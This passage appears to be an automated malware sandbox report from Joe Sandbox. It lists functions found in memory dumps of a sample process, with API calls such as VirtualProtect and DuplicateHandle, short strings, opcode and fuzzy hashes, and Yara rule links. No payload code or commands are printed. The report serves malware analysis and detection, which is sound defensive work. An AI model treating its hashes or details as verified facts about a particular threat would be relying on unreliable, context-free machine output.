Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 20A81638 Relevance: 5.2, Strings: 4, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 20A818D6
, xrefs: 20A81735
Haq, xrefs: 20A81909
Haq, xrefs: 20A818A3

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID: $Haq$Haq$Haq
API String ID: 0-432640594
Opcode ID: 73735bcd55412fd1a8dc0b10ec8a35978cb854d44a6592c32b284fdb194c69a5
Instruction ID: f1b905b9f7da6031b23b2bafb9b59ea2c2a09d16d290660142dfb5b3727f6f4f
Opcode Fuzzy Hash: 73735bcd55412fd1a8dc0b10ec8a35978cb854d44a6592c32b284fdb194c69a5
Instruction Fuzzy Hash: A6812834B002148FDB145FB8949826E3AABBF85370F60462DED629B3D1CF359D42CB92

Function 20AA4170 Relevance: 2.7, Strings: 2, Instructions: 226COMMON

Download Yara Rule

Strings

LR]q, xrefs: 20AA42B9
LR]q, xrefs: 20AA418C

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID: LR]q$LR]q
API String ID: 0-3917262905
Opcode ID: 54654df09ccb37891838e44677c355c8b2823ece9b084128e2fd9ba9622e2860
Instruction ID: 3fc983eced7fa59afb928e751f423b258fa02000ef98d10433dff635b3ccf3d5
Opcode Fuzzy Hash: 54654df09ccb37891838e44677c355c8b2823ece9b084128e2fd9ba9622e2860
Instruction Fuzzy Hash: DC81C235B101158FCB04DFB8C998A5E77F6BFC9604B518169E906DB3A1DB34EC02CBA1

Function 20AA3B52 Relevance: 2.7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

Strings

,aq, xrefs: 20AA3C40
,aq, xrefs: 20AA3C36

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: bfff7c1fb594d9ba2fa5b1bc22f113cc92979f5abe3f1b26deab7483a144fe79
Instruction ID: fa99268d3ae409158915c8653b2eb80b4a131a0546477ebf222821ea0fb5c56c
Opcode Fuzzy Hash: bfff7c1fb594d9ba2fa5b1bc22f113cc92979f5abe3f1b26deab7483a144fe79
Instruction Fuzzy Hash: A681BF36A00205DFCB04CFB9C8C495ABBF6FF49214BA18569E505EB3A5D735EC45CBA0

Function 20AA4640 Relevance: 2.7, Strings: 2, Instructions: 195COMMON

Download Yara Rule

Strings

PH]q, xrefs: 20AA496C
PH]q, xrefs: 20AA4958

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 2c64805492f0527f84fc3ef5e333f1d8bc331078bcd5b9eca338fdcdba387c1d
Instruction ID: 84dfc2a36d99b65a3bc3a48b13aa96d5d887da9f41a6f1e0179a9e6bb0b6fc96
Opcode Fuzzy Hash: 2c64805492f0527f84fc3ef5e333f1d8bc331078bcd5b9eca338fdcdba387c1d
Instruction Fuzzy Hash: 24A17F74E01269CFDB68CF69D994B99B7B2BB89300F1081EAD90DA7351DB309E85CF11

Function 20AA3690 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

Haq, xrefs: 20AA37BE
Haq, xrefs: 20AA378B

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 87b6069b8987e0c45f3bb1187194191e3601483a82203a5abc71ed1be227e723
Instruction ID: 021c3bcab1893f437dd7b6ab1c79df0523ab3f69d0426df2117591b076b1adae
Opcode Fuzzy Hash: 87b6069b8987e0c45f3bb1187194191e3601483a82203a5abc71ed1be227e723
Instruction Fuzzy Hash: C351EEB67042659FDB018FA4D8C4BAA7BF6BF89310F508469F8458B292DB79DC01CB91

Function 20AA463D Relevance: 2.7, Strings: 2, Instructions: 161COMMON

Download Yara Rule

Strings

PH]q, xrefs: 20AA496C
PH]q, xrefs: 20AA4958

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: cd5897735e2074159412ff8b0601ffbf180e333f9eade548f2a4df0b7e5e7e34
Instruction ID: cce148ac5d6d1963980c06bcc4114f8a12e01124b24ec0287ef19b4c3fea33b3
Opcode Fuzzy Hash: cd5897735e2074159412ff8b0601ffbf180e333f9eade548f2a4df0b7e5e7e34
Instruction Fuzzy Hash: 56816075E01228CFDB68CF69C994B99B7B2BB89200F1081EAD94DA7351DB309E85CF11

Function 20A81F39 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

8bq, xrefs: 20A82011
TJbq, xrefs: 20A8204A

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID: 8bq$TJbq
API String ID: 0-3440557903
Opcode ID: 84c10518d4de9aec011109e53fc39da3eaf32dbb0b27839f8048ee78bdd8c901
Instruction ID: 66e1b713111a66aa0776503ad8fcc02ffd47f0fc9b5576faa5a484656947d9d5
Opcode Fuzzy Hash: 84c10518d4de9aec011109e53fc39da3eaf32dbb0b27839f8048ee78bdd8c901
Instruction Fuzzy Hash: 15312635B002098FCB45DFA8C580E9EBBB6FF88320F555454E501AB366CA71ED86CBA1

Function 20A81F6D Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

8bq, xrefs: 20A82011
TJbq, xrefs: 20A8204A

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID: 8bq$TJbq
API String ID: 0-3440557903
Opcode ID: f03717c676ce8aeb9ee941c641c8b3058ab1110312800276da6881cf8eaeb508
Instruction ID: b27e188e255d6546efe674e87ec6a986070628efb25d257587d2f8aa0f05f48b
Opcode Fuzzy Hash: f03717c676ce8aeb9ee941c641c8b3058ab1110312800276da6881cf8eaeb508
Instruction Fuzzy Hash: 6B313735B001098FCB45DFA8C590E9EBBB6FF88320F555454E501AB376CA71ED86CBA0

Function 20CA9D2C Relevance: 1.7, APIs: 1, Instructions: 187COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 20CA9EF9

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 866329b216b2c87a6c2a414079599d86b973da888f315851f9e08286bd8ebe99
Instruction ID: 4d7881a8ccf2173d313dca32dde8de37ba5f932794b6746609ec18ca2f8c4d68
Opcode Fuzzy Hash: 866329b216b2c87a6c2a414079599d86b973da888f315851f9e08286bd8ebe99
Instruction Fuzzy Hash: 707179B4D00258DFDF20CFA9D984BDDBBF1BB0A304F1091AAE918A7211D774AA85CF55

Function 20CA9D38 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 20CA9EF9

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 32dc83a535821a8f62af169403b986578411f5e10d11194f2bda24a8142234c0
Instruction ID: 4842f16413c49b1c4c637d90f04ca6e4d9b45f3cc773ec1fc7f6d9fcc3086b75
Opcode Fuzzy Hash: 32dc83a535821a8f62af169403b986578411f5e10d11194f2bda24a8142234c0
Instruction Fuzzy Hash: 8B717AB4D00258DFDF20CFA9D984BDDBBF1BB0A304F1091AAE918A7211D734AA85CF55

Function 1F6EAA30 Relevance: 1.7, APIs: 1, Instructions: 178COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F6EAAC6

Memory Dump Source

Source File: 00000004.00000002.3472370573.000000001F6E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f6e0000_xzeheenC.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3d404b1030b37fe3512dd85577fdb206f760a1d2dde278a03d2428ca0168131b
Instruction ID: 906670e06de89cf8870e3fe01cddb074a016e3ed59762582ff2e8eb5856776fc
Opcode Fuzzy Hash: 3d404b1030b37fe3512dd85577fdb206f760a1d2dde278a03d2428ca0168131b
Instruction Fuzzy Hash: 0451BE770256769FC3406F34A3EC22EBA75FB2F3A3B40AD40E42EC145ADB344049CA21

Function 20CACEE1 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 20CACFB3

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d4219f7c1ec723c1f005fd07d7762bab1afa123c8d3c427c2283570a356707cf
Instruction ID: 7a60f0938e2ac230f6a880586ae9462d810e0d84ac3a70972ea94f8122c26a07
Opcode Fuzzy Hash: d4219f7c1ec723c1f005fd07d7762bab1afa123c8d3c427c2283570a356707cf
Instruction Fuzzy Hash: 274176B9D002599FCF10CFA9D984ADEBBF5BB19310F14906AE918AB310D335A985CF94

Function 20CACEE8 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 20CACFB3

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c2348661f2c7b8e9ca007a06a24bbcfa0e1461ca1f1192ed083973bcdf054051
Instruction ID: 0fe523009442ce4d8924201594d58533a4cff44c90d4182a554abf58450c0b58
Opcode Fuzzy Hash: c2348661f2c7b8e9ca007a06a24bbcfa0e1461ca1f1192ed083973bcdf054051
Instruction Fuzzy Hash: 934146B9D002599FCF10CFA9D984ADEBBF5BB09310F14906AE918AB310D335A945CF94

Function 20CACB7C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 20CADE51

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: d11c0b940e089d1e5bc34e569f80c89bc29752222b46b16faee847d97d366bf5
Instruction ID: 0c3fe088d719e1081084a3f9d48a82d1d4b97b65f4696da5b106e7c80847a85a
Opcode Fuzzy Hash: d11c0b940e089d1e5bc34e569f80c89bc29752222b46b16faee847d97d366bf5
Instruction Fuzzy Hash: 224109B4900205CFCB14CF99C488A9ABBF5FF99310F24C459E519AB361D775A841CBA0

Function 1CF0F368 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 1CF0F40C

Memory Dump Source

Source File: 00000004.00000002.3467653762.000000001CF00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1cf00000_xzeheenC.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 61c35788ea6e87438e7fa33dff120d4cfe306a6d79c9e6182ff56b1dffe2e14b
Instruction ID: fd9d8efd28b7126b3a41065622355e790628190bd99806e3a2750eb81f3b4e72
Opcode Fuzzy Hash: 61c35788ea6e87438e7fa33dff120d4cfe306a6d79c9e6182ff56b1dffe2e14b
Instruction Fuzzy Hash: 44319AB8D012489FCF10DFA9D980A9EFBB1FF49310F10942AE819B7210D735A945CF64

Function 20CA77D0 Relevance: 1.6, APIs: 1, Instructions: 88timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(00000000,?,?,00000000), ref: 20CAE0CB

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: a7d66a7de586164f4a1a7993abf25f3e59a7a09ea369604b1a86b5986f518902
Instruction ID: 2e820aa739b2cd8225c60cec2a8bba67c3e91036e2137543231f2ce8bdb2a861
Opcode Fuzzy Hash: a7d66a7de586164f4a1a7993abf25f3e59a7a09ea369604b1a86b5986f518902
Instruction Fuzzy Hash: C03188B8D042589FCB10CFA9D584A9EFBF5EB49310F24902AE918B7310D375A945CFA4

Function 20CAE028 Relevance: 1.6, APIs: 1, Instructions: 87timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(00000000,?,?,00000000), ref: 20CAE0CB

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: b5262ebf53e6b2d98742ec11a30dab1d62aa830bb4c7ba061d689fc5511e4892
Instruction ID: 9e5641d4c2e7fba33bdf55c964136259ea4242fcb3d1156b260b3414c80c5b68
Opcode Fuzzy Hash: b5262ebf53e6b2d98742ec11a30dab1d62aa830bb4c7ba061d689fc5511e4892
Instruction Fuzzy Hash: F531A8B9D012589FCF10CFA9E580ADEFBF1AB49310F20901AE868B7350D375A945CFA4

Function 20CA7B3C Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?), ref: 20CA9582

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 29978b79de87179c122c57cc0a4b686b989ea68e5a27d93f0dde1db17ca7f5fd
Instruction ID: 354e7d01f513f07931d0e2f938099ca6d96d296e1ac12f278321325b944d0ffd
Opcode Fuzzy Hash: 29978b79de87179c122c57cc0a4b686b989ea68e5a27d93f0dde1db17ca7f5fd
Instruction Fuzzy Hash: 283197B8D002499FCB14CFAAD585ADEFBF5EB49310F14906AE918B7320D774A941CFA4

Function 20CA94E9 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?), ref: 20CA9582

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: dfc659408e951eee2734b4e2814bababcdef6d6149952d376505c6d8ea16d958
Instruction ID: a75e87dbb8211db87d4de971677d3c3c90ca2ccf8352f59e87cef4cf31947233
Opcode Fuzzy Hash: dfc659408e951eee2734b4e2814bababcdef6d6149952d376505c6d8ea16d958
Instruction Fuzzy Hash: 223197B8D002599FCB14CFAAD585ADEFBF1AB49310F14906AE918B7360D334A945CFA4

Function 20D994CC Relevance: 1.6, APIs: 1, Instructions: 71windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,-00000018,?), ref: 20D9B7E3

Memory Dump Source

Source File: 00000004.00000002.3474721924.0000000020D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20d90000_xzeheenC.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 2b25c3331b92a71d823f22a0c8e069977b4a0b2fb47b2df6158911035915ba86
Instruction ID: fbcdc8e4ae82f121c20cc8e8c87c9c0c66e5987699cf388ddfaff2815768965f
Opcode Fuzzy Hash: 2b25c3331b92a71d823f22a0c8e069977b4a0b2fb47b2df6158911035915ba86
Instruction Fuzzy Hash: 8231CCB8D01208DFCB10CFA9D580ADEFBF4AB49320F24901AE908B3310D334A941CFA5

Function 20D9B761 Relevance: 1.6, APIs: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,-00000018,?), ref: 20D9B7E3

Memory Dump Source

Source File: 00000004.00000002.3474721924.0000000020D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20d90000_xzeheenC.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 46bdd1dca3d2891a8318ab814a8a9fd2b8d040f1f7d9c69a826e995fb0ca7945
Instruction ID: a97b6f1c50497f7cd475e6876c53dba8b5fbc998a07217e608441e081ac373a8
Opcode Fuzzy Hash: 46bdd1dca3d2891a8318ab814a8a9fd2b8d040f1f7d9c69a826e995fb0ca7945
Instruction Fuzzy Hash: C231B9B8D012589FCB14CFA9D580ADEFBF4AF49320F24906AE908B7310D335A941CFA5

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 20A82370 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

Haq, xrefs: 20A82405

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 2145fe2d47abf974dc5abcbd595ad661ce325e8eddb1f5171e8599d042a529f8
Instruction ID: 174f5914111e47d570c2a91252b35364d07cb1ae75f404c0980e6b59353fda7e
Opcode Fuzzy Hash: 2145fe2d47abf974dc5abcbd595ad661ce325e8eddb1f5171e8599d042a529f8
Instruction Fuzzy Hash: 3B310535B042489FCB08DBB9D950ABF7BAAAF85310F5040BDD909DB251DE35DD06C7A1

Function 20A824B0 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

Haq, xrefs: 20A8250E

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 592a1a5e850bbc34dd70baa892c791888e74b3670e6c63ea20092f37f5c3dfef
Instruction ID: 0dac4bcfa97d1c3c6d6daaea50456344bd1467427236b0773a273b9c0fca536b
Opcode Fuzzy Hash: 592a1a5e850bbc34dd70baa892c791888e74b3670e6c63ea20092f37f5c3dfef
Instruction Fuzzy Hash: 0C210534B042499FD708DFAAD860BBE7B6AFF85310F60807DD8058B295DE359D46C751

Function 1CF0F638 Relevance: 1.3, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 1CF0F6B6

Memory Dump Source

Source File: 00000004.00000002.3467653762.000000001CF00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CF00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1cf00000_xzeheenC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e279d658b732fe977a13a66ec1c35bbe5d6487c3d131e1c2702350c44554304d
Instruction ID: 2feb34c0081487f262713a4576780b05e80dc88b1dc4f9efc515c65a3a5aed53
Opcode Fuzzy Hash: e279d658b732fe977a13a66ec1c35bbe5d6487c3d131e1c2702350c44554304d
Instruction Fuzzy Hash: BA31ACB4D012589FCB14DFA9D581A9EFBF5BF49310F10942AE819B7310C735A941CFA4

Function 20AA4EE8 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

Haq, xrefs: 20AA4F35

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: a8fb043804ab1cb21fdc242a1d2955931938388fcdfdc7b68489035cdaf03397
Instruction ID: ac88c28712e916646aae96b94ce882aefc00ff6f63ab028b6f64cebba194ac2b
Opcode Fuzzy Hash: a8fb043804ab1cb21fdc242a1d2955931938388fcdfdc7b68489035cdaf03397
Instruction Fuzzy Hash: 7D11BE30A042089FCB48DFB8955577E7AF6AB85200F6084B9D8099B285EE349E45C792

Function 20AA3808 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0b964cbf109a4d4ff990797a534a701099d1fe9736f237a827d43fc90b2a8a3
Instruction ID: c616d9c13d17fde3babebcc702d27df4dabd7fd42c00b571fa28344f78601677
Opcode Fuzzy Hash: b0b964cbf109a4d4ff990797a534a701099d1fe9736f237a827d43fc90b2a8a3
Instruction Fuzzy Hash: 8E7101367002218FC7099FB9C4D4A2EBBA6BFC9250B14806DE946CB395DF79DC02CB91

Function 20A82648 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84b19192ea4ba6f075bda20f6837b0ab88f3ce3aafb865ed4822a4cee32e2cc8
Instruction ID: 8aaf11185d60f39c86ffdef3646fe3be6f5e68db719f3e231effb4862067aa85
Opcode Fuzzy Hash: 84b19192ea4ba6f075bda20f6837b0ab88f3ce3aafb865ed4822a4cee32e2cc8
Instruction Fuzzy Hash: 9051F376B002059FCB049AAED844AABBBE9FBC8320F60853EE959D7751D631DC0187A0

Function 20AA1D18 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36ce2c19166d43209250b0149bd4fbae6b8ac127f9fe28f758e8d3dfe0004ed8
Instruction ID: a159dd9c80a3c411dab1db1c2b59ca0d698f9823eee12dffe2cb329407d24b5e
Opcode Fuzzy Hash: 36ce2c19166d43209250b0149bd4fbae6b8ac127f9fe28f758e8d3dfe0004ed8
Instruction Fuzzy Hash: D091EE74E412299BDB64DF69D994BEDBBB2BF88300F1081E9D45DA7290DB306E80CF40

Function 20AA62A0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d68f0d78ff215a3a15cfd499a6e67c5ba28a7878ae6c7c41daba4c9dadbc7583
Instruction ID: df84944ffc9dcb3f9d35efbd969d439fe225c64e3051a14c046357a1050f2c9e
Opcode Fuzzy Hash: d68f0d78ff215a3a15cfd499a6e67c5ba28a7878ae6c7c41daba4c9dadbc7583
Instruction Fuzzy Hash: D371A374E412298FDB64DF69DD94BEDBBB2BF89300F1080EAD519A7291DB305E818F40

Function 20AA5470 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 767bf408d6488d943a82a9c671270b1b1beaeb91c9424059ff35acdf48709e8b
Instruction ID: fd53b51c6f13a0da2517241ad28ed5f9ec6bbc539c2236068e1ff6dbd1442997
Opcode Fuzzy Hash: 767bf408d6488d943a82a9c671270b1b1beaeb91c9424059ff35acdf48709e8b
Instruction Fuzzy Hash: DD71A374E412299FDB64DF69DD90BEDB7B2BF89300F1080EAD919A7290DB315E818F44

Function 20AAC820 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

